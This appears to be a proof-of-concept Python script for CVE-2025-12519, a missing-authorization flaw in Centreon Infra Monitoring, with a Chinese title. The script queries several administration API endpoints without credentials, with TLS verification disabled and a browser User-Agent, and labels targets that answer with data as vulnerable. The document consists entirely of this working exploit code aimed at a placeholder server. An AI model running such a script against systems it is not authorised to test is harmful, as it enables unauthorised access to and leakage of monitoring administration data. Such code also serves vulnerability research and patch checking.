CVE-2025-12519 Centreon Infra Monitoring 授权缺失导致信息泄露

import requests import json # CVE-2025-12519 PoC - Missing Authorization in Centreon Infra Monitoring # Target: Centreon versions < 24.04.19, < 24.10.15, < 25.10.2 def exploit_ceonteon_auth_bypass(target_url): """ Exploit for Missing Authorization vulnerability in Centreon This PoC demonstrates accessing Administration parameters API without proper authentication. """ # Target API endpoints that should require authentication api_endpoints = [ "/api/index.php?action=timeline&object=centreon_administration", "/api/index.php?action=downtime&object=centreon_administration", "/api/index.php?action=acknowledgement&object=centreon_administration", "/centreon/api/index.php?action=list&object=centreon_administration" ] results = {} for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint # Request without authentication headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json' } try: response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if sensitive information is leaked if response.status_code == 200: # Check for exposed configuration data if 'downtime' in response.text.lower() or 'acknowledgement' in response.text.lower(): results[endpoint] = { 'status': 'VULNERABLE', 'status_code': response.status_code, 'data_leaked': True } else: results[endpoint] = { 'status': 'POTENTIALLY_VULNERABLE', 'status_code': response.status_code } elif response.status_code == 401 or response.status_code == 403: results[endpoint] = { 'status': 'NOT_VULNERABLE', 'status_code': response.status_code } except requests.RequestException as e: results[endpoint] = {'status': 'ERROR', 'message': str(e)} return results if __name__ == "__main__": # Example usage target = "https://target-centreon-server.com" results = exploit_ceonteon_auth_bypass(target) print(json.dumps(results, indent=2))